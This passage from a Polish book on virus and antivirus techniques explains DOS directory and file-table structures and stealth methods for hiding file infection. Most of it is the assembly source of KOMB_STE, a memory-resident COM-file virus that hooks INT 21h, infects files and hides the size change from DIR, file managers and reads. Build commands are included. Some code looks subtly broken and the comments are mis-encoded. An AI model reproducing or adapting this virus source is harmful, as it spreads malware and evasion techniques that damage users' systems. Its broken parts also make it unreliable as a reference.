data ostatniej modyfikacji pliku

16-17

czas ostatniej modyfikacji pliku

ilość SFT dla pliku

atrybuty, znaczenie bitów
bity 7-6

00 - SHARE.EXE niezaładowany, plik dyskowy
01 - SHARE.EXE niezaładowany, sterownik
10 - SHARE.EXE załadowany, plik zdalny
11 - SHARE.EXE załadowany, plik dyskowy
lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów

1A-1F

zawartość zależna od pola 19, bity 7-6
wartość 11
1A-1B numer pierwszej JAP pliku
1C-1D określa numer rekordu w dostępie dzielonym
1E atrybuty pliku
1F nie używane wartość
10
1A-1B uchwyt w sieci
1C-1F ID w sieci wartość
01
1A-1D wskaźnik do nagfówka sterownika
1E-1F nie używane
wartość 00
1A bajt informacyjny
bit 7: atrybut tytko do odczytu w SFT
bit 6: atrybut archiwalności w SFT
bity 5-0: wyższe bity numeru sektora
1B-1C numer pierwszej JAP pliku
1D-1F niższe bity sektora zawierającego adres w katalogu
1F ilość pozycji katalogu w sektorze

bieżący rekord

21-24

numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów,
bardziej znacząca część jest pomijana

Struktura bloku opisu pliku FCB (rozszerzonego)
Adres

Zawartość

wartość OFFh oznacza blok rozszerzony

01-05

zarezerwowane

atrybuty pliku

07-2B

zwykły blok opisu FCB (patrz poprzednia tabela)

Struktura pola opisu pozycji katalogu
Adres

Zawartość

00-07

nazwa pliku

08-0A

rozszerzenie pliku

atrybuty pliku

0C-15

zarezerwowane

16-17

czas ostatniej modyfikacji pliku

18-19

data ostatniej modyfikacji pliku

1A-1B

numer pierwszej JAP

1C-1F

długość pliku

7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS,
Windows 3.1)
Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki
rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania
tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji
katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się
natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji,
należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie
odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury.
Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-
1D) oraz czas i data (adresy 16-17 i 18-19).
Struktura DTA
Adres

Zawartość

znaczenie bitów:
bity 6-0 numer napędu
bit 7 ustawiony, oznacza plik zdalny

01-0B

szablon poszukiwanych pozycji katalogu

atrybuty poszukiwanej pozycji

0D-0E

numer wejścia w katalogu

0F-10

numer JAP katalogu nadrzędnego

11-14

zarezerwowane

atrybut znalezionej pozycji katalogu

16-17

czas ostatniej modyfikacji znalezionej pozycji katalogu

18-19

data ostatniej modyfikacji znalezionej pozycji katalogu

1A-1D

długość znalezionej pozycji katalogu

1E-2A

nazwa i rozszerzenie pliku

7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz
polecenie DIR wywoływane z poziomu okna Tryb MS-DOS
Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików,
którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi
długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows
oraz gdy zainstalowany jest tzw. Menedżer IFS.
Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21),
gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich
podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a
dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości
katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na
wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane
funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-
DOS (w systemie Windows 95).
Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym
obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-
bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje
poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla
systemu DOS.
Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku

KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada
funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta
większość programów działających w systemie Windows 95, m.in. Explorator, a także
różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie
pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma
wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku
KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy
zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL
w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie
tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla
Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych
ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia
się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić,
czy rzeczywiście jest on właściwy.
Opis struktury FindData zamieszczono poniżej.
Struktura FindData
Adres

Zawartość

00-03

atrybuty pliku
bity 0-6 standardowe atrybuty plików DOS
bit 8 plik tymczasowy (temporary)

04-0B

czas i data utworzenia pliku

0C-13

czas i data ostatniego dostępu do pliku

14-1B

czas i data ostatniej modyfikacji pliku

1C-1F

długość pliku (bardziej znaczące 32 bity)

20-23

długość pliku (mniej znaczące 32 bity)

24-2B

zarezerwowane

2C-12F

260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ)

130-13D

14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ)

7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth)
Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać
także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość
katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików.
Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie
infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż
nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem
(klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka).
Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną
infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej.
Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie
odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w
pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący
plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie
procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w
poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem
wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie,
często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku

zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego
długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus,
jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać
jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na
końcu pliku wirusa.
Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są
dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na
wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table),
zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka
podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku
uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy
jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich
użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki
otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej
dany plik. Używa się do tego poniższej sekwencji:
; Uzyskiwanie informacji o pliku na podstawie jego uchwytu
MOV AX,1220h ; weč adres tablicy JFT zawieraj╣cej
numer SFT,
; opisuj╣cej plik podany w BX
MOV BX,UchwytPliku ; BX zawiera uchwyt (numer) pliku
INT 2Fh ; wywo│aj funkcjŕ
MOV BL,ES:[DI] ; weč numer tablicy SFT
MOV AX,1216h ; weč adres tablicy SFT na podstawie
numeru w BL
INT 2Fh ; wywo│aj funkcjŕ ES:DI wskazuje na
tablicŕ SFT pliku

Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy
SFT podano poniżej:
Format podtablicy SFT
Adres

Zawartość

00-03

Wskaźnik do następnej podtablicy

N - liczba plików w podtablicy

06-40

Opis pliku nr 1 w podtablicy - patrz następna tablica
Opis pliku nr N w podtablicy

Opis pliku zawarty w tablicy SFT
Adres

Zawartość

00-01

Liczba łączników do pliku

02-03

Tryb

Atrybut pliku

05-06

Informacja o pliku

07-0A

Wskaźnik do nagłówka programu obsługi lub do bloku DPB

0B-0C

Pierwsza JAP pliku

0D-0E

Czas ostatniej modyfikacji pliku

0F-11

Data ostatniej modyfikacji pliku

11-14

Rozmiar pliku

15-18

Aktualna pozycja wskaźnika odczytu/zapisu pliku

19-1A

Względny numer JAP

1B-1E

Położenie elementu katalogu opisującego plik

20-2A

Nazwa i rozszerzenie pliku

2B-2E

Wskaźnik do poprzedniego elementu SFT (pole programu SHARE)

2F-30

Numer komputera w sieci (pole programu SHARE)

31-32

Adres właściciela pliku (jego PSP)

33-34

Położenie w obszarze roboczym listy zablokowanych regionów pliku
(pole programu SHARE)

35-36

Numer JAP

37-3A

Wskaźnik do IFS pliku lub 00000000h

Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia
DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT.

;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; KOMB_STE v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Zmodyfikowany wirus KOMBAJN, rozszerzony o technike
STEALTH ;
;
;
;----------------------------------------------------------------
------------;
; Informacje Techniczne
;
;----------------------------------------------------------------
------------;
;
;
; Wirus oszukuje uzytkownika w nastepujacy sposob :
;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania
katalogu za ;
; pomoca polecenia DIR
;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania
katalogu za ;
; pomoca nakladek typu Dos Navigator, Norton Commander
;
; _ Nie pozwala przeczytac koncowej czesci pliku zawierajacej
wirusa ;
; (plik jest sztucznie "ucinany" w tablicy SFT )

;
;
;
; Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w
zarazonych ;
; plikach mozna go wykryc poprzez sprawdzenie czy pierwsza
instrukcja ;
; programu E9 xx xx wskazuje na koniec pliku. Dodatkowo,
poniewaz wirus ;
; informuje o wykonywanych przez siebie operacjach - w
momencie wywolania ;
; zainfekowanego programu, pojawi sie od niego komunikat
mowiacy o tym, ;
; iz wirus jest juz zainstalowany w pamieci.
;
;
;
; Kompilacja :
;
; TASM KOMB_STE.ASM
;
; TLINK /t KOMB_STE.OB J
;
;
;
;----------------------------------------------------------------
------------;
JUMPS
KOMB_STE SEGMENT
ASSUME CS:KOMB_STE, DS:KOMB_STE
ORG 100h

Haslo = 0BACAh ; \ do sprawdzenia czy
wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany
w pamieci

NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /

DTAStruc struc ; struktura DTA bufora
transmisji
; dyskowych uzywana
przez
; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc
struktury
DTAAttr db ? ; atrybut znalezionej
pozycji
DTATime dw ? ; czas znalezionej
pozycji
DTADate dw ? ; data znalezionej
pozycji
DTASize dd ? ; dlugosc znalezionej
pozycji
DTAName db 13 dup (?) ; nazwa znalezionej
pozycji
DTAStruc ends

DIRStruc struc
DIRDrv db ? ; numer napedu
DIRName db 8 dup(?) ; nazwa znalezionej
pozycji
DIRExt db 3 dup(?) ; rozszerzenie
znalezionej pozycji
DIRAttr db ? ; atrybut znalezionej
pozycji
DIRRes db 10 dup(?) ; zarezerwowane
DIRTime dw ? ; czas znalezionej
pozycji
DIRDate dw ? ; data znalezionej
pozycji
DIRStartJAP dw ? ; poczatkowa JAP
znalezionej pozycji
DIRSize dd ? ; dlugosc znalezionej
pozycji
DIRStruc ends

SFTStruc struc
SFTCntHnd dw ? ; ile uchwytow do
pliku
SFTOpMode dw ? ; tryb otwarcia pliku
SFTAttr db ? ; atrybut pliku
SFTDevAttr dw ? ; informacja o
urzadzeniu
SFTDevPtr dd ? ; adres do naglowka
sterownika
; lub do DPB
SFTStartJAP dw ? ; poczatkowa JAP pliku
SFTTime dw ? ; czas pliku
SFTDate dw ? ; data pliku
SFTSize dd ? ; dlugosc znalezionej
pozycji
SFTPos dd ? ; wskaznik
odczytu/zapisu
SFTRes db 7 dup(?) ; pola nieistotne
SFTName db 11 dup(?) ; nazwa + rozszerzenie
pliku
SFTStruc ends

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16

Start: ; poczatek wirusa

PoczatekWirusa: ; pomocnicza etykieta

Call Trik ; zapisz na stosie
relatywny ofset
Trik:

pop si ; zdejmij ze stosu
relatywny ofset
sub si,103h ; oblicz ofset do
poczatku wirusa

mov ax,Haslo ; \ sprawdz, czy wirus
jest
int 21h ; / juz w pamieci

cmp ax,Odpowiedz ; \ czy kopia wirusa
odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz
komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do
nosiciela

InstalacjaWPamieci: ; poczatek instalacji

lea di,TeCopyRight ; \ wyswietl info o
wirusie
Call DrukSI ; /

lea di,TeInstalacja ; \ zapytaj
uzytkownika, czy chce
Call DrukSI ; \ zainstalowac
wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 uzytkownik
nie chce instalowac

mov ax,3521h ; funkcja DOS - wez
adres INT 21

int 21h ; wywolaj funkcje

mov [si][Stare21Seg],es ; \ zachowaj adres
(wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)

mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP

dec ax ; AX=ES-1=MCB
aktualnego bloku pamieci
mov ds,ax ; DS=blok MCB
aktualnego bloku pamieci
mov bx,word ptr ds:[0003h] ; wez dlugosc bloku
pamieci
sub bx,DlugoscWPamieci+1 ; zmniejsz go o
dlugosc wirusa

mov ah,4Ah ; funkcja DOS - zmien
rozmiar bloku pamieci
int 21h ; wywolaj funkcje

mov bx,DlugoscWPamieci ; podaj jaki chcesz
blok pamieci
mov ah,48h ; funkcja DOS -
przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 nie udalo sie
przydzielic

mov es,ax ; ES=wskazuje na
przydzielony blok
xor di,di ; ES:DI - dokad
skopiowac
cld ; zwiekszaj SI, DI w
REP MOVSB

push si ; SI bedzie zmieniany
wiec zachowaj
add si,offset PoczatekWirusa ; dodaj skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow
kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do
ES:DI, CX bajtow
pop si ; przywroc relatywny
ofset

mov ax,es ; pobierz adres do MCB
opisujacego
dec ax ; blok, w ktorym jest
wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa
jako systemowy

sub ax,0Fh ; \ DS=adres bloku-
10h
mov ds,ax ; \ sztuczka, dzieki
ktorej mozna
; / odwolywac sie do
danych jak w
; / zwyklym programie
COM (ORG 100h)

mov dx,Offset NoweInt21 ; DX=adres do nowej
procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw
adres INT 21
int 21h ; wywolaj funkcje

push cs ; \ wyswietl
komunikat o
pop ds ; \ instalacji w
pamieci
lea di,TeZainstalowany ; \ i segment, w
ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /

PowrocDoNosiciela: ;
push cs cs ; \ przywroc
DS=ES=CS=PSP
pop ds es ; /

mov al,byte ptr [si][StareBajty] ; \ przywroc 3
poczatkowe bajty
mov ds:[100h],al ; \ programu pod
adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /

mov ax,100h ; \ zachowaj na stosie
slad do
push ax ; / adresu 100h

xor ax,ax ; \ dla
bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac
rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /

ret ; powroc do nosiciela

PytanieOInstalacje: ; \ odpowiedz
rezydujacego

xchg al,ah ; - wirusa (na
pytanie czy jest
iret ; / w pamieci)

cmp ah,11h ; \ czy funkcje
przeszukiwania ?
je STEALTH_11_12 ; \ katalogu uzywane
przez
cmp ah,12h ; / polecenie DIR ?
je STEALTH_11_12 ; / TAK - oszukuj
jesli trzeba

cmp ah,4Eh ; \ czy funkcje
przeszukiwania ?
je STEALTH_4E_4F ; \ katalogu uzywane
przez
cmp ah,4Fh ; / nakladki ?
je STEALTH_4E_4F ; / TAK - oszukuj
jesli trzeba

cmp ah,3Dh
je STEALTH_3D

jmp PowrotZInt21 ; idz do poprzedniego
lancucha
; przerwan

STEALTH_3D:
call UstawNowe24 ; ustaw obsluge bledow
krytycznych

Call StareInt21 ; wywolaj stare
przerwanie 21h
jc STEALTH_3D_Powrot2 ; CF=1 to blad

pushf ; \ zachowaj wartosci
rejestrow
push es ax bx di ; / zmienionych przez
wywolanie

mov bx,ax ; BX zawiera uchwyt
(numer) pliku
mov ax,1220h ; wez adres tablicy
JFT

int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad

mov bl,es:[di] ; wez numer tablicy
SFT
mov bh,0 ; BX=BL
mov ax,1216h ; wez adres tablicy
SFT na podstawie numeru w BL
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad

cmp es:[di][SFTDate],VZnacznik ; czy znaleziona
pozycja jest
; zainfekowana ?
jne STEALTH_3D_Powrot ; NIE - STEALTH
niepotrzebne

cmp word ptr es:[di][SFTSize+2],0 ; czy dlugosc pliku
>65535 ?
jne MozeMiecWirusa_3D ; TAK - moze byc
zainfekowany

cmp word ptr es:[di][SFTSize],DlugoscWirusa
jb STEALTH_3D_Powrot ; czy dlugosc pliku
>=dlug. wirus
; TAK - moze byc
zainfekowany
; NIE - STEALTH
niepotrzebne
MozeMiecWirusa_3D:
sub word ptr es:[di][SFTSize],DlugoscWirusa
; odejmij dlugosc
wirusa
sbb word ptr es:[di][SFTSize+2],0
; uwzglednij ewent.
pozyczke
; z bardziej znaczacej
czesci
STEALTH_3D_Powrot:

pop di bx ax es ; \ przywroc
odpowiednie wartosci
popf ; / rejestrow

STEALTH_3D_Powrot2:

Call PrzywrocStare24 ; przywroc stara
obsluge bledow krytycznych

retf 2 ; powrot z zachowaniem
ustawionych znacznikow

; ES:DI wskazuje na
tablicÓ SFT pliku

STEALTH_11_12:
call UstawNowe24 ; ustaw obsluge bledow
krytycznych

Call StareInt21 ; wywolaj stare
przerwanie 21h
or al,al ; CZY AL=0
jnz STEALTH_11_12_Powrot2 ; AL<>0 to blad

pushf ; \ zachowaj wartosci
rejestrow
push es ax bx ; / zmienionych przez
wywolanie

mov ah,2Fh ; funkcja DOS - wez
adres do DTA
Call StareInt21 ; wywolaj stare
przerwanie 21h

cmp es:[bx][DIRDrv],0FFh ; czy rozszerzony FCB
?
jne ZwyklyFCB ; NIE - zwykly FCB

add bx,7 ; dodaj przesuniecie
; teraz ES:BX=wskazuje
na zwykly FCB
ZwyklyFCB:

cmp es:[bx][DIRDate],VZnacznik ; czy znaleziona
pozycja jest
; zainfekowana ?
jne STEALTH_11_12_Powrot ; NIE - STEALTH
niepotrzebne

cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku
>65535 ?
jne MozeMiecWirusa_11_12 ; TAK - moze byc
zainfekowany

cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_11_12_Powrot ; czy dlugosc pliku >=
dlugosc wirusa
; TAK - moze miec
wirusa
; NIE - STEALTH
niepotrzebne
MozeMiecWirusa_11_12:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc
wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent.
pozyczke
; z bardziej znaczacej

czesci
STEALTH_11_12_Powrot:

pop bx ax es ; \ przywroc
odpowiednie wartosci
popf ; / rejestrow

STEALTH_11_12_Powrot2:

Call PrzywrocStare24 ; przywroc stara
obsluge bledow krytycznych

retf 2 ; powrot z zachowaniem
ustawionych znacznikow

STEALTH_4E_4F:
call UstawNowe24 ; ustaw obsluge bledow
krytycznych

Call StareInt21 ; wywolaj stare
przerwanie 21h
jc STEALTH_4E_4F_Powrot2 ; CF=1 to blad

pushf ; \ zachowaj wartosci
rejestrow
push es ax bx ; / zmienionych przez
wywolanie

mov ah,2Fh ; funkcja DOS - wez
adres do DTA
Call StareInt21 ; wywolaj stare
przerwanie 21h

cmp es:[bx][DTADate],VZnacznik ; czy znaleziona
pozycja jest
; zainfekowana ?
jne STEALTH_4E_4F_Powrot ; NIE - STEALTH
niepotrzebne

cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku
>65535 ?
jne MozeMiecWirusa_4E_4F ; TAK - moze byc
zainfekowany

cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_4E_4F_Powrot ; czy dlugosc pliku
>=dlug. wirusa
; TAK - moze byc
zainfekowany
; NIE - STEALTH
niepotrzebne
MozeMiecWirusa_4E_4F:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc

wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent.
pozyczke
; z bardziej znaczacej
czesci
STEALTH_4E_4F_Powrot:

pop bx ax es ; \ przywroc
odpowiednie wartosci
popf ; / rejestrow

STEALTH_4E_4F_Powrot2:

Call PrzywrocStare24 ; przywroc stara
obsluge bledow krytycznych

retf 2 ; powrot z zachowaniem
ustawionych znacznikow

InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane
rejestry

mov cs:StaryDS, ds ; \ zachowaj adres do
nazwy pliku
mov cs:StaryDX, dx ; /

call UstawNowe24

mov ax,4300h ; funkcja DOS - czytaj
atrybut
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut ; CF=1 blad wiec
powrot

mov cs:Atrybut,cl ; wez stary atrybut

mov ax,4301h ; funkcja DOS - zapisz
atrybut
mov cx,AtrArchive ; podaj nowy atrybut :
Archive
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut

mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt
pliku do BX

mov ax,5700h ; funkcja DOS - wpisz
date, czas
Call StareInt21 ; wywolaj stare
przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku
na pozniej

cmp dx,VZnacznik ; czy plik jest juz
zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik,
powrot

push cs ; \ DS=CS=segment
wirusa
pop ds ; /

mov ax,word ptr [StareBajty] ; wez dwa pierwsze
bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to
nie EXE
je ZamknijPlik ; gdy 'MZ' to plik
EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM' to plik
EXE, powrot

; DX = starsza czesc
dlugosci pliku
or dx,dx ; czy plik krotszy niz

65536 ?
jnz ZamknijPlik ; NIE - nie infekuj

cmp ax,64000 ; czy dlugosc <= 64000
?
ja ZamknijPlik ; NIE - nie infekuj

cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; NIE - nie infekuj

sub ax,3 ; odejmij dlugosc
skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora
rozkaz skoku

lea di,TeZnalazlemPlik ; \ zapytaj
uzytkownika
Call Druk ; \ czy chce
zainfekowac
; \ plik
mov di,cs:StaryDX ; \ nazwa pliku
jest
mov ds,cs:StaryDS ; \ wyswietlana
Call Druk ; \
; - (dzieki temu
uzytkownik
push cs ; / ma pelna
kontrole nad
pop ds ; / tym co
wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / CF=1
uzytkownik nie pozwala

xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
poczatku pliku
mov ax,4200h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
poczatek pliku

Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1 to blad

mov cx,3 ; ilosc zapisywanych
bajtow
lea dx,Skok ; podaj skad zapisac
rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz
do pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie
infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas
Call StareInt21 ; wywolaj stare
przerwanie 21h

ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
Call StareInt21 ; wywolaj stare
przerwanie 21h

PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; \ podaj nazwe pliku
do zmiany
mov ds,cs:StaryDS ; / w DS:DX
mov ax,4301h ; funkcja DOS - zmien
atrybut
Call StareInt21 ; wywolaj stare
przerwanie 21h

Call PrzywrocStare24

pop di si dx cx bx ax ds es ; przywroc zmieniane
rejestry

PowrotZInt21:
db 0EAh ; mnemonik rozkazu
skoku JMP FAR
Stare21Ofs dw ? ; z tych pol korzysta
skok
Stare21Seg dw ? ; aby oddac sterowanie
do poprzedniego
; elementu lancucha
przerwan INT 21

StareInt21:
pushf ; \ symuluj wywolanie
przerwania
Call dword ptr cs:[Stare21Ofs] ; / wyowlaj stare
przerwanie

ret ; powroc z wywolania

UstawNowe24:
push ds es ax bx dx ; zachowaj zmieniane
rejestry

mov ax,3524h ; \ pobierz stara
i ustaw
Call StareInt21 ; \ nowa procedure
obslugi
mov cs:Stare24Seg,es ; \ przerwania
krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu
ochrony
; \ przed
ewentulanymi bledami
push cs ; / (np; podczas
proby zapisu
pop ds ; / na
zabezpieczona przed
lea dx,NoweInt24 ; / zapisem
dyskietce nie
mov ax,2524h ; / zostanie
wywolany dialog
Call StareInt21 ; / ARIF)

pop dx bx ax es ds ; przywroc zmieniane
rejestry

ret ; powroc z wywolania

PrzywrocStare24:
push ds ax dx ; zachowaj zmieniane
rejestry

lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare
przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /

pop dx ax ds ; przywroc zmieniane
rejestry

ret

DrukSI: ; procedura wyswietla
tekst z

; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla
tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane
rejestry

DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu
(znak=NUL) ?
jz DrukPowrot ; TAK - koncz pisanie

mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje

inc di ; zwieksz indeks (na
nastepny znak)

jmp short DrukPetla ; idz po nastepny znak

DrukPowrot:
pop di ax ; przywroc zmieniane
rejestry

ret ; powrot

DrukHEX16: ; drukuje liczbe
heksalna z AX
push ax ; zachowaj AX
(dokladniej AL)
mov al,ah ; najpierw starsza
czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX
(dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe
heksalna z AL
push ax ; zachowaj AX
(dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez
16
shr al,1 ; / czyli wez 4
starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc
liczby szesnastkowej
pop ax ; przywroc AX
(dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity

AL
; i wydrukuj czesc
liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby
binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh
na
Cyfra09: ; / '0'..'9',
'A'..'F'
add al,'0' ; /

mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje

ret ; powrot

Decyzja: ; \ pobiera z
klawiatury
mov ah,0h ; \ znak i
sprawdza czy jest
